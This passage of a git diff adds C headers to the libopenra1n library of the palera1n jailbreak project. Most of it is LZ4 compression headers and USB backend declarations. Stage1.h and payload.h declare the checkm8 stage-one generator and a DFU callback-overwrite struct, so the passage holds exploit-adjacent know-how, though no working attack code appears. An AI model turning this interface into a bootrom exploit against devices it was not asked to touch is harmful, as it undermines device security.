structure guarantees correct alignment and size. + * Note3: Before v1.9.0, use LZ4_resetStream() instead +**/ +LZ4LIB_API LZ4_stream_t* LZ4_initStream (void* buffer, size_t size); + + +/*! LZ4_streamDecode_t : + * Never ever use below internal definitions directly ! + * These definitions are not API/ABI safe, and may change in future versions. + * If you need static allocation, declare or allocate an LZ4_streamDecode_t object. +**/ +typedef struct { + const LZ4_byte* externalDict; + const LZ4_byte* prefixEnd; + size_t extDictSize; + size_t prefixSize; +} LZ4_streamDecode_t_internal; + +#define LZ4_STREAMDECODE_MINSIZE 32 +union LZ4_streamDecode_u { + char minStateSize[LZ4_STREAMDECODE_MINSIZE]; + LZ4_streamDecode_t_internal internal_donotuse; +} ; /* previously typedef'd to LZ4_streamDecode_t */ + + + +/*-************************************ +* Obsolete Functions +**************************************/ + +/*! Deprecation warnings + * + * Deprecated functions make the compiler generate a warning when invoked. + * This is meant to invite users to update their source code. + * Should deprecation warnings be a problem, it is generally possible to disable them, + * typically with -Wno-deprecated-declarations for gcc + * or _CRT_SECURE_NO_WARNINGS in Visual. + * + * Another method is to define LZ4_DISABLE_DEPRECATE_WARNINGS + * before including the header file. + */ +#ifdef LZ4_DISABLE_DEPRECATE_WARNINGS +# define LZ4_DEPRECATED(message) /* disable deprecation warnings */ +#else +# if defined (__cplusplus) && (__cplusplus >= 201402) /* C++14 or greater */ +# define LZ4_DEPRECATED(message) [[deprecated(message)]] +# elif defined(_MSC_VER) +# define LZ4_DEPRECATED(message) __declspec(deprecated(message)) +# elif defined(__clang__) || (defined(__GNUC__) && (__GNUC__ * 10 + __GNUC_MINOR__ >= 45)) +# define LZ4_DEPRECATED(message) __attribute__((deprecated(message))) +# elif defined(__GNUC__) && (__GNUC__ * 10 + __GNUC_MINOR__ >= 31) +# define LZ4_DEPRECATED(message) __attribute__((deprecated)) +# else +# pragma message("WARNING: LZ4_DEPRECATED needs custom implementation for this compiler") +# define LZ4_DEPRECATED(message) /* disabled */ +# endif +#endif /* LZ4_DISABLE_DEPRECATE_WARNINGS */ + +/*! Obsolete compression functions (since v1.7.3) */ +LZ4_DEPRECATED("use LZ4_compress_default() instead") LZ4LIB_API int LZ4_compress (const char* src, char* dest, int srcSize); +LZ4_DEPRECATED("use LZ4_compress_default() instead") LZ4LIB_API int LZ4_compress_limitedOutput (const char* src, char* dest, int srcSize, int maxOutputSize); +LZ4_DEPRECATED("use LZ4_compress_fast_extState() instead") LZ4LIB_API int LZ4_compress_withState (void* state, const char* source, char* dest, int inputSize); +LZ4_DEPRECATED("use LZ4_compress_fast_extState() instead") LZ4LIB_API int LZ4_compress_limitedOutput_withState (void* state, const char* source, char* dest, int inputSize, int maxOutputSize); +LZ4_DEPRECATED("use LZ4_compress_fast_continue() instead") LZ4LIB_API int LZ4_compress_continue (LZ4_stream_t* LZ4_streamPtr, const char* source, char* dest, int inputSize); +LZ4_DEPRECATED("use LZ4_compress_fast_continue() instead") LZ4LIB_API int LZ4_compress_limitedOutput_continue (LZ4_stream_t* LZ4_streamPtr, const char* source, char* dest, int inputSize, int maxOutputSize); + +/*! Obsolete decompression functions (since v1.8.0) */ +LZ4_DEPRECATED("use LZ4_decompress_fast() instead") LZ4LIB_API int LZ4_uncompress (const char* source, char* dest, int outputSize); +LZ4_DEPRECATED("use LZ4_decompress_safe() instead") LZ4LIB_API int LZ4_uncompress_unknownOutputSize (const char* source, char* dest, int isize, int maxOutputSize); + +/* Obsolete streaming functions (since v1.7.0) + * degraded functionality; do not use! + * + * In order to perform streaming compression, these functions depended on data + * that is no longer tracked in the state. They have been preserved as well as + * possible: using them will still produce a correct output. However, they don't + * actually retain any history between compression calls. The compression ratio + * achieved will therefore be no better than compressing each chunk + * independently. + */ +LZ4_DEPRECATED("Use LZ4_createStream() instead") LZ4LIB_API void* LZ4_create (char* inputBuffer); +LZ4_DEPRECATED("Use LZ4_createStream() instead") LZ4LIB_API int LZ4_sizeofStreamState(void); +LZ4_DEPRECATED("Use LZ4_resetStream() instead") LZ4LIB_API int LZ4_resetStreamState(void* state, char* inputBuffer); +LZ4_DEPRECATED("Use LZ4_saveDict() instead") LZ4LIB_API char* LZ4_slideInputBuffer (void* state); + +/*! Obsolete streaming decoding functions (since v1.7.0) */ +LZ4_DEPRECATED("use LZ4_decompress_safe_usingDict() instead") LZ4LIB_API int LZ4_decompress_safe_withPrefix64k (const char* src, char* dst, int compressedSize, int maxDstSize); +LZ4_DEPRECATED("use LZ4_decompress_fast_usingDict() instead") LZ4LIB_API int LZ4_decompress_fast_withPrefix64k (const char* src, char* dst, int originalSize); + +/*! Obsolete LZ4_decompress_fast variants (since v1.9.0) : + * These functions used to be faster than LZ4_decompress_safe(), + * but this is no longer the case. They are now slower. + * This is because LZ4_decompress_fast() doesn't know the input size, + * and therefore must progress more cautiously into the input buffer to not read beyond the end of block. + * On top of that `LZ4_decompress_fast()` is not protected vs malformed or malicious inputs, making it a security liability. + * As a consequence, LZ4_decompress_fast() is strongly discouraged, and deprecated. + * + * The last remaining LZ4_decompress_fast() specificity is that + * it can decompress a block without knowing its compressed size. + * Such functionality can be achieved in a more secure manner + * by employing LZ4_decompress_safe_partial(). + * + * Parameters: + * originalSize : is the uncompressed size to regenerate. + * `dst` must be already allocated, its size must be >= 'originalSize' bytes. + * @return : number of bytes read from source buffer (== compressed size). + * The function expects to finish at block's end exactly. + * If the source stream is detected malformed, the function stops decoding and returns a negative result. + * note : LZ4_decompress_fast*() requires originalSize. Thanks to this information, it never writes past the output buffer. + * However, since it doesn't know its 'src' size, it may read an unknown amount of input, past input buffer bounds. + * Also, since match offsets are not validated, match reads from 'src' may underflow too. + * These issues never happen if input (compressed) data is correct. + * But they may happen if input data is invalid (error or intentional tampering). + * As a consequence, use these functions in trusted environments with trusted data **only**. + */ +LZ4_DEPRECATED("This function is deprecated and unsafe. Consider using LZ4_decompress_safe() instead") +LZ4LIB_API int LZ4_decompress_fast (const char* src, char* dst, int originalSize); +LZ4_DEPRECATED("This function is deprecated and unsafe. Consider using LZ4_decompress_safe_continue() instead") +LZ4LIB_API int LZ4_decompress_fast_continue (LZ4_streamDecode_t* LZ4_streamDecode, const char* src, char* dst, int originalSize); +LZ4_DEPRECATED("This function is deprecated and unsafe. Consider using LZ4_decompress_safe_usingDict() instead") +LZ4LIB_API int LZ4_decompress_fast_usingDict (const char* src, char* dst, int originalSize, const char* dictStart, int dictSize); + +/*! LZ4_resetStream() : + * An LZ4_stream_t structure must be initialized at least once. + * This is done with LZ4_initStream(), or LZ4_resetStream(). + * Consider switching to LZ4_initStream(), + * invoking LZ4_resetStream() will trigger deprecation warnings in the future. + */ +LZ4LIB_API void LZ4_resetStream (LZ4_stream_t* streamPtr); + + +#endif /* LZ4_H_98237428734687 */ + + +#if defined (__cplusplus) +} +#endif diff --git a/1stparty/libopenra1n/include/lz4/lz4hc.h b/1stparty/libopenra1n/include/lz4/lz4hc.h new file mode 100644 index 0000000..e937acf --- /dev/null +++ b/1stparty/libopenra1n/include/lz4/lz4hc.h @@ -0,0 +1,413 @@ +/* + LZ4 HC - High Compression Mode of LZ4 + Header File + Copyright (C) 2011-2020, Yann Collet. + BSD 2-Clause License (http://www.opensource.org/licenses/bsd-license.php) + + Redistribution and use in source and binary forms, with or without + modification, are permitted provided that the following conditions are + met: + + * Redistributions of source code must retain the above copyright + notice, this list of conditions and the following disclaimer. + * Redistributions in binary form must reproduce the above + copyright notice, this list of conditions and the following disclaimer + in the documentation and/or other materials provided with the + distribution. + + THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS + "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT + LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR + A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT + OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, + SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT + LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, + DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY + THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT + (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE + OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + + You can contact the author at : + - LZ4 source repository : https://github.com/lz4/lz4 + - LZ4 public forum : https://groups.google.com/forum/#!forum/lz4c +*/ +#ifndef LZ4_HC_H_19834876238432 +#define LZ4_HC_H_19834876238432 + +#if defined (__cplusplus) +extern "C" { +#endif + +/* --- Dependency --- */ +/* note : lz4hc requires lz4.h/lz4.c for compilation */ +#include "lz4.h" /* stddef, LZ4LIB_API, LZ4_DEPRECATED */ + + +/* --- Useful constants --- */ +#define LZ4HC_CLEVEL_MIN 3 +#define LZ4HC_CLEVEL_DEFAULT 9 +#define LZ4HC_CLEVEL_OPT_MIN 10 +#define LZ4HC_CLEVEL_MAX 12 + + +/*-************************************ + * Block Compression + **************************************/ +/*! LZ4_compress_HC() : + * Compress data from `src` into `dst`, using the powerful but slower "HC" algorithm. + * `dst` must be already allocated. + * Compression is guaranteed to succeed if `dstCapacity >= LZ4_compressBound(srcSize)` (see "lz4.h") + * Max supported `srcSize` value is LZ4_MAX_INPUT_SIZE (see "lz4.h") + * `compressionLevel` : any value between 1 and LZ4HC_CLEVEL_MAX will work. + * Values > LZ4HC_CLEVEL_MAX behave the same as LZ4HC_CLEVEL_MAX. + * @return : the number of bytes written into 'dst' + * or 0 if compression fails. + */ +LZ4LIB_API int LZ4_compress_HC (const char* src, char* dst, int srcSize, int dstCapacity, int compressionLevel); + + +/* Note : + * Decompression functions are provided within "lz4.h" (BSD license) + */ + + +/*! LZ4_compress_HC_extStateHC() : + * Same as LZ4_compress_HC(), but using an externally allocated memory segment for `state`. + * `state` size is provided by LZ4_sizeofStateHC(). + * Memory segment must be aligned on 8-bytes boundaries (which a normal malloc() should do properly). + */ +LZ4LIB_API int LZ4_sizeofStateHC(void); +LZ4LIB_API int LZ4_compress_HC_extStateHC(void* stateHC, const char* src, char* dst, int srcSize, int maxDstSize, int compressionLevel); + + +/*! LZ4_compress_HC_destSize() : v1.9.0+ + * Will compress as much data as possible from `src` + * to fit into `targetDstSize` budget. + * Result is provided in 2 parts : + * @return : the number of bytes written into 'dst' (necessarily <= targetDstSize) + * or 0 if compression fails. + * `srcSizePtr` : on success, *srcSizePtr is updated to indicate how much bytes were read from `src` + */ +LZ4LIB_API int LZ4_compress_HC_destSize(void* stateHC, + const char* src, char* dst, + int* srcSizePtr, int targetDstSize, + int compressionLevel); + + +/*-************************************ + * Streaming Compression + * Bufferless synchronous API + **************************************/ + typedef union LZ4_streamHC_u LZ4_streamHC_t; /* incomplete type (defined later) */ + +/*! LZ4_createStreamHC() and LZ4_freeStreamHC() : + * These functions create and release memory for LZ4 HC streaming state. + * Newly created states are automatically initialized. + * A same state can be used multiple times consecutively, + * starting with LZ4_resetStreamHC_fast() to start a new stream of blocks. + */ +LZ4LIB_API LZ4_streamHC_t* LZ4_createStreamHC(void); +LZ4LIB_API int LZ4_freeStreamHC (LZ4_streamHC_t* streamHCPtr); + +/* + These functions compress data in successive blocks of any size, + using previous blocks as dictionary, to improve compression ratio. + One key assumption is that previous blocks (up to 64 KB) remain read-accessible while compressing next blocks. + There is an exception for ring buffers, which can be smaller than 64 KB. + Ring-buffer scenario is automatically detected and handled within LZ4_compress_HC_continue(). + + Before starting compression, state must be allocated and properly initialized. + LZ4_createStreamHC() does both, though compression level is set to LZ4HC_CLEVEL_DEFAULT. + + Selecting the compression level can be done with LZ4_resetStreamHC_fast() (starts a new stream) + or LZ4_setCompressionLevel() (anytime, between blocks in the same stream) (experimental). + LZ4_resetStreamHC_fast() only works on states which have been properly initialized at least once, + which is automatically the case when state is created using LZ4_createStreamHC(). + + After reset, a first "fictional block" can be designated as initial dictionary, + using LZ4_loadDictHC() (Optional). + + Invoke LZ4_compress_HC_continue() to compress each successive block. + The number of blocks is unlimited. + Previous input blocks, including initial dictionary when present, + must remain accessible and unmodified during compression. + + It's allowed to update compression level anytime between blocks, + using LZ4_setCompressionLevel() (experimental). + + 'dst' buffer should be sized to handle worst case scenarios + (see LZ4_compressBound(), it ensures compression success). + In case of failure, the API does not guarantee recovery, + so the state _must_ be reset. + To ensure compression success + whenever `dst` buffer size cannot be made >= LZ4_compressBound(), + consider using LZ4_compress_HC_continue_destSize(). + + Whenever previous input blocks can't be preserved unmodified in-place during compression of next blocks, + it's possible to copy the last blocks into a more stable memory space, using LZ4_saveDictHC(). + Return value of LZ4_saveDictHC() is the size of dictionary effectively saved into 'safeBuffer' (<= 64 KB) + + After completing a streaming compression, + it's possible to start a new stream of blocks, using the same LZ4_streamHC_t state, + just by resetting it, using LZ4_resetStreamHC_fast(). +*/ + +LZ4LIB_API void LZ4_resetStreamHC_fast(LZ4_streamHC_t* streamHCPtr, int compressionLevel); /* v1.9.0+ */ +LZ4LIB_API int LZ4_loadDictHC (LZ4_streamHC_t* streamHCPtr, const char* dictionary, int dictSize); + +LZ4LIB_API int LZ4_compress_HC_continue (LZ4_streamHC_t* streamHCPtr, + const char* src, char* dst, + int srcSize, int maxDstSize); + +/*! LZ4_compress_HC_continue_destSize() : v1.9.0+ + * Similar to LZ4_compress_HC_continue(), + * but will read as much data as possible from `src` + * to fit into `targetDstSize` budget. + * Result is provided into 2 parts : + * @return : the number of bytes written into 'dst' (necessarily <= targetDstSize) + * or 0 if compression fails. + * `srcSizePtr` : on success, *srcSizePtr will be updated to indicate how much bytes were read from `src`. + * Note that this function may not consume the entire input. + */ +LZ4LIB_API int LZ4_compress_HC_continue_destSize(LZ4_streamHC_t* LZ4_streamHCPtr, + const char* src, char* dst, + int* srcSizePtr, int targetDstSize); + +LZ4LIB_API int LZ4_saveDictHC (LZ4_streamHC_t* streamHCPtr, char* safeBuffer, int maxDictSize); + + + +/*^********************************************** + * !!!!!! STATIC LINKING ONLY !!!!!! + ***********************************************/ + +/*-****************************************************************** + * PRIVATE DEFINITIONS : + * Do not use these definitions directly. + * They are merely exposed to allow static allocation of `LZ4_streamHC_t`. + * Declare an `LZ4_streamHC_t` directly, rather than any type below. + * Even then, only do so in the context of static linking, as definitions may change between versions. + ********************************************************************/ + +#define LZ4HC_DICTIONARY_LOGSIZE 16 +#define LZ4HC_MAXD (1<= LZ4HC_CLEVEL_OPT_MIN. + */ +LZ4LIB_STATIC_API void LZ4_favorDecompressionSpeed( + LZ4_streamHC_t* LZ4_streamHCPtr, int favor); + +/*! LZ4_resetStreamHC_fast() : v1.9.0+ + * When an LZ4_streamHC_t is known to be in a internally coherent state, + * it can often be prepared for a new compression with almost no work, only + * sometimes falling back to the full, expensive reset that is always required + * when the stream is in an indeterminate state (i.e., the reset performed by + * LZ4_resetStreamHC()). + * + * LZ4_streamHCs are guaranteed to be in a valid state when: + * - returned from LZ4_createStreamHC() + * - reset by LZ4_resetStreamHC() + * - memset(stream, 0, sizeof(LZ4_streamHC_t)) + * - the stream was in a valid state and was reset by LZ4_resetStreamHC_fast() + * - the stream was in a valid state and was then used in any compression call + * that returned success + * - the stream was in an indeterminate state and was used in a compression + * call that fully reset the state (LZ4_compress_HC_extStateHC()) and that + * returned success + * + * Note: + * A stream that was last used in a compression call that returned an error + * may be passed to this function. However, it will be fully reset, which will + * clear any existing history and settings from the context. + */ +LZ4LIB_STATIC_API void LZ4_resetStreamHC_fast( + LZ4_streamHC_t* LZ4_streamHCPtr, int compressionLevel); + +/*! LZ4_compress_HC_extStateHC_fastReset() : + * A variant of LZ4_compress_HC_extStateHC(). + * + * Using this variant avoids an expensive initialization step. It is only safe + * to call if the state buffer is known to be correctly initialized already + * (see above comment on LZ4_resetStreamHC_fast() for a definition of + * "correctly initialized"). From a high level, the difference is that this + * function initializes the provided state with a call to + * LZ4_resetStreamHC_fast() while LZ4_compress_HC_extStateHC() starts with a + * call to LZ4_resetStreamHC(). + */ +LZ4LIB_STATIC_API int LZ4_compress_HC_extStateHC_fastReset ( + void* state, + const char* src, char* dst, + int srcSize, int dstCapacity, + int compressionLevel); + +/*! LZ4_attach_HC_dictionary() : + * This is an experimental API that allows for the efficient use of a + * static dictionary many times. + * + * Rather than re-loading the dictionary buffer into a working context before + * each compression, or copying a pre-loaded dictionary's LZ4_streamHC_t into a + * working LZ4_streamHC_t, this function introduces a no-copy setup mechanism, + * in which the working stream references the dictionary stream in-place. + * + * Several assumptions are made about the state of the dictionary stream. + * Currently, only streams which have been prepared by LZ4_loadDictHC() should + * be expected to work. + * + * Alternatively, the provided dictionary stream pointer may be NULL, in which + * case any existing dictionary stream is unset. + * + * A dictionary should only be attached to a stream without any history (i.e., + * a stream that has just been reset). + * + * The dictionary will remain attached to the working stream only for the + * current stream session. Calls to LZ4_resetStreamHC(_fast) will remove the + * dictionary context association from the working stream. The dictionary + * stream (and source buffer) must remain in-place / accessible / unchanged + * through the lifetime of the stream session. + */ +LZ4LIB_STATIC_API void LZ4_attach_HC_dictionary( + LZ4_streamHC_t *working_stream, + const LZ4_streamHC_t *dictionary_stream); + +#if defined (__cplusplus) +} +#endif + +#endif /* LZ4_HC_SLO_098092834 */ +#endif /* LZ4_HC_STATIC_LINKING_ONLY */ diff --git a/src/m8/payload.h b/1stparty/libopenra1n/include/payload.h similarity index 60% rename from src/m8/payload.h rename to 1stparty/libopenra1n/include/payload.h index f1e1a21..48587c4 100644 --- a/src/m8/payload.h +++ b/1stparty/libopenra1n/include/payload.h @@ -1,5 +1,25 @@ -#ifndef PAYLOAD_H -#define PAYLOAD_H +/* + * palera1n - https://palera.in + * + * Copyright (c) 2026 palera1n team + * + * SPDX-License-Identifier: Apache-2.0 + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +#ifndef LIBOPENRA1N__PAYLOAD_H +#define LIBOPENRA1N__PAYLOAD_H #include #include @@ -52,4 +72,4 @@ bool checkm8_find_device_configuration_for_cpid(uint16_t cpid, struct DeviceConf bool checkm8_find_payload_configuration_for_cpid(uint16_t cpid, struct PayloadConfiguration *config); bool create_pongo_payload_for_device(uint16_t cpid, const uint8_t **payload, size_t *payloadSize); -#endif // PAYLOAD_H +#endif // LIBOPENRA1N__PAYLOAD_H diff --git a/1stparty/libopenra1n/include/shim.h b/1stparty/libopenra1n/include/shim.h new file mode 100644 index 0000000..cd135fd --- /dev/null +++ b/1stparty/libopenra1n/include/shim.h @@ -0,0 +1,35 @@ +/* + * palera1n - https://palera.in + * + * Copyright (C) 2023 0x7ff + * Copyright (C) 2023 Mineek + * Copyright (c) 2026 palera1n team + * + * SPDX-License-Identifier: Apache-2.0 + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +#ifndef LIBOPENRA1N__BACKEND_SHIM_H +#define LIBOPENRA1N__BACKEND_SHIM_H + +#ifdef __APPLE__ +# include "usb_iokit.h" +#else +# include "usb_libusb.h" +#endif + +transfer_ret_t send_usb_control_request_no_data(const usb_handle_t *handle, uint8_t bm_request_type, uint8_t b_request, uint16_t w_value, uint16_t w_index, size_t w_len); +transfer_ret_t send_usb_control_request_async_no_data(const usb_handle_t *handle, uint8_t bm_request_type, uint8_t b_request, uint16_t w_value, uint16_t w_index, size_t w_len, unsigned usb_abort_timeout); + +#endif // LIBOPENRA1N__BACKEND_SHIM_H diff --git a/1stparty/libopenra1n/include/stage1.h b/1stparty/libopenra1n/include/stage1.h new file mode 100644 index 0000000..e466973 --- /dev/null +++ b/1stparty/libopenra1n/include/stage1.h @@ -0,0 +1,58 @@ +/* + * palera1n - https://palera.in + * + * Copyright (C) 2026 palera1n team + * + * SPDX-License-Identifier: MIT + * + * Permission is hereby granted, free of charge, to any person obtaining a copy + * of this software and associated documentation files (the "Software"), to deal + * in the Software without restriction, including without limitation the rights + * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell + * copies of the Software, and to permit persons to whom the Software is + * furnished to do so, subject to the following conditions: + * + * The above copyright notice and this permission notice shall be included in all + * copies or substantial portions of the Software. + * + * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR + * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, + * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE + * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER + * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, + * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE + * SOFTWARE. + * + */ + +#ifndef LIBOPENRA1N__STAGE1_H +#define LIBOPENRA1N__STAGE1_H + +#include +#include + +#include + +typedef struct +{ + uint32_t endpoint, pad_0; + uint64_t io_buffer; + uint32_t status, io_len, ret_cnt, pad_1; + uint64_t callback, next; +} dfu_callback_t; + +typedef struct +{ + dfu_callback_t callback; +} checkm8_overwrite_t; + +bool generate_stage1( + void** outbuf, + size_t* outlen, + void* payload, + size_t payload_sz, + struct DeviceConfiguration *deviceConfig, + struct PayloadConfiguration *payloadConfig +); + +#endif // LIBOPENRA1N__STAGE1_H diff --git a/1stparty/libopenra1n/include/usb_iokit.h b/1stparty/libopenra1n/include/usb_iokit.h new file mode 100644 index 0000000..070b99f --- /dev/null +++ b/1stparty/libopenra1n/include/usb_iokit.h @@ -0,0 +1,93 @@ +/* + * palera1n - https://palera.in + * + * Copyright (C) 2023 0x7ff + * Copyright (C) 2023 Mineek + * Copyright (c) 2026 palera1n team + * + * SPDX-License-Identifier: Apache-2.0 + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +#ifdef __APPLE__ + +#ifndef LIBOPENRA1N__IOKIT_BACKEND_H +#define LIBOPENRA1N__IOKIT_BACKEND_H + +#include + +#include +#include + +#define USB_TIMEOUT (5) + +#if TARGET_OS_IPHONE +# define kUSBPipeStalled kUSBHostReturnPipeStalled +#else +# define kUSBPipeStalled kIOUSBPipeStalled +#endif + +#if TARGET_OS_IPHONE +# define kUSBDeviceClassName "IOUSBHostDevice" +#else +# define kUSBDeviceClassName kIOUSBDeviceClassName +#endif + +enum usb_transfer { + USB_TRANSFER_OK, + USB_TRANSFER_ERROR, + USB_TRANSFER_STALL, +}; + +typedef struct { + enum usb_transfer ret; + uint32_t sz; +} transfer_ret_t; + +typedef void (*usb_hotplug_callback_t)( + io_service_t service, + bool connected, + void *user +); + +typedef struct { + uint16_t vid, pid; + io_service_t serv; + IOUSBDeviceInterface320 **device; + IOUSBInterfaceInterface245 **interface; + CFRunLoopSourceRef async_event_source; +} usb_handle_t; + +#ifdef __cplusplus +extern "C" { +#endif + +bool query_usb_interface(io_service_t serv, CFUUIDRef plugin_type, CFUUIDRef interface_type, LPVOID *interface); +void close_usb_handle(usb_handle_t *handle); +bool open_usb_device(io_service_t serv, usb_handle_t *handle); +bool wait_usb_handle(usb_handle_t *handle); +void reset_usb_handle(usb_handle_t *handle); +transfer_ret_t send_usb_control_request(const usb_handle_t *handle, uint8_t bm_request_type, uint8_t b_request, uint16_t w_value, uint16_t w_index, void *p_data, size_t w_len); +transfer_ret_t send_usb_control_request_async(const usb_handle_t *handle, uint8_t bm_request_type, uint8_t b_request, uint16_t w_value, uint16_t w_index, void *p_data, size_t w_len, unsigned usb_abort_timeout); +transfer_ret_t send_interface_control_request(const usb_handle_t *handle, uint8_t bm_request_type, uint8_t b_request, uint16_t w_value, uint16_t w_index, void *p_data, size_t w_len); +transfer_ret_t send_interface_bulk_transfer(const usb_handle_t *handle, void *data, uint32_t len); +void init_usb_handle(usb_handle_t *handle, uint16_t vid, uint16_t pid); + +#ifdef __cplusplus +} +#endif + +#endif // LIBOPENRA1N__IOKIT_BACKEND_H + +#endif // __APPLE__ diff --git a/1stparty/libopenra1n/include/usb_libusb.h b/1stparty/libopenra1n/include/usb_libusb.h new file mode 100644 index 0000000..f792f76 --- /dev/null +++ b/1stparty/libopenra1n/include/usb_libusb.h @@ -0,0 +1,61 @@ +/* + * palera1n - https://palera.in + * + * Copyright (C) 2023 0x7ff + * Copyright (C) 2023 Mineek + * Copyright (c) 2026 palera1n team + * + * SPDX-License-Identifier: Apache-2.0 + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +#ifndef __APPLE__ + +#ifndef LIBOPENRA1N__LIBUSB_BACKEND_H +#define LIBOPENRA1N__LIBUSB_BACKEND_H + +#include +#include + +#define USB_TIMEOUT (5) + +enum usb_transfer { + USB_TRANSFER_OK, + USB_TRANSFER_ERROR, + USB_TRANSFER_STALL, +}; + +typedef struct { + enum usb_transfer ret; + uint32_t sz; +} transfer_ret_t; + +typedef struct { + uint16_t vid, pid; + struct libusb_device_handle *device; +} usb_handle_t; + +void close_usb_handle(usb_handle_t *handle); +void reset_usb_handle(const usb_handle_t *handle); +bool wait_usb_handle(usb_handle_t *handle); +void usb_async_cb(struct libusb_transfer *transfer); +transfer_ret_t send_usb_control_request(const usb_handle_t *handle, uint8_t bm_request_type, uint8_t b_request, uint16_t w_value, uint16_t w_index, void *p_data, size_t w_len); +transfer_ret_t send_usb_control_request_async(const usb_handle_t *handle, uint8_t bm_request_type, uint8_t b_request, uint16_t w_value, uint16_t w_index, void *p_data, size_t w_len, unsigned usb_abort_timeout); +transfer_ret_t send_interface_control_request(const usb_handle_t *handle, uint8_t bm_request_type, uint8_t b_request, uint16_t w_value, uint16_t w_index, void *p_data, size_t w_len); +transfer_ret_t send_interface_bulk_transfer(const usb_handle_t *handle, void *data, int len); +void init_usb_handle(usb_handle_t *handle, uint16_t vid, uint16_t pid); + +#endif // LIBOPENRA1N__LIBUSB_BACKEND_H + +#endif // __APPLE__ diff --git a/1stparty/libopenra1n/include/utils.h b/1stparty/libopenra1n/include/utils.h new file mode 100644 index 0000000..2bdab30 --- /dev/null +++ b/1stparty/libopenra1n/include/utils.h @@ -0,0 +1,63 @@ +/* + * palera1n - https://palera.in + * + * Copyright (c) 2026 palera1n team + * + * SPDX-License-Identifier: Apache-2.0 + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +#ifndef LIBOPENRA1N__UTILS_H +#define LIBOPENRA1N__UTILS_H + +#include +#include + +#define RESET_COLOR "\033[0m" +#define RED_COLOR "\033[31m" +#define GREEN_COLOR "\033[32m" +#define YELLOW_COLOR "\033[33m" +#define BLUE_COLOR "\033[34m" +#define MAGENTA_COLOR "\033[35m" +#define CYAN_COLOR "\033[36m" +#define WHITE_COLOR "\033[37m" +#define GRAY_COLOR "\033[90m" + +extern uint8_t gDebugLevel; +extern bool gSilentLogs; +extern bool gColoredLogs; + +typedef enum { + LOG_INFO, + LOG_ERROR, + LOG_VERBOSE +} log_level_t; + +#ifdef __cplusplus +extern "C" { +#endif + +void log_write_internal(log_level_t level, const char* func, const char* file, int line, const char *fmt, ...); + +#ifdef __cplusplus +} +#endif + +#define LOG(fmt, ...) log_write_internal(LOG_INFO, __func__, __FILE__, __LINE__, fmt, ##__VA_ARGS__) +#define LOG_ERROR(fmt, ...) log_write_internal(LOG_ERROR, __func__, __FILE__, __LINE__, fmt, ##__VA_ARGS__) +#define LOG_DEBUG(fmt, ...) log_write_internal(LOG_VERBOSE, __func__, __FILE__, __LINE__, fmt, ##__VA_ARGS__) + +void sleep_ms(unsigned ms); + +#endif // LIBOPENRA1N__UTILS_H diff --git a/1stparty/libopenra1n/payloads/LICENSE b/1stparty/libopenra1n/payloads/LICENSE new file mode 100644 index 0000000..4666b19 --- /dev/null +++ b/1stparty/libopenra1n/payloads/LICENSE @@ -0,0 +1,21 @@ +Copyright (c) checkra1n team. All rights reserved. + +* This component is used under the following conditions: +* 1. NON-AFFILIATION & ATTRIBUTION: +Any product or project utilizing this code must clearly state 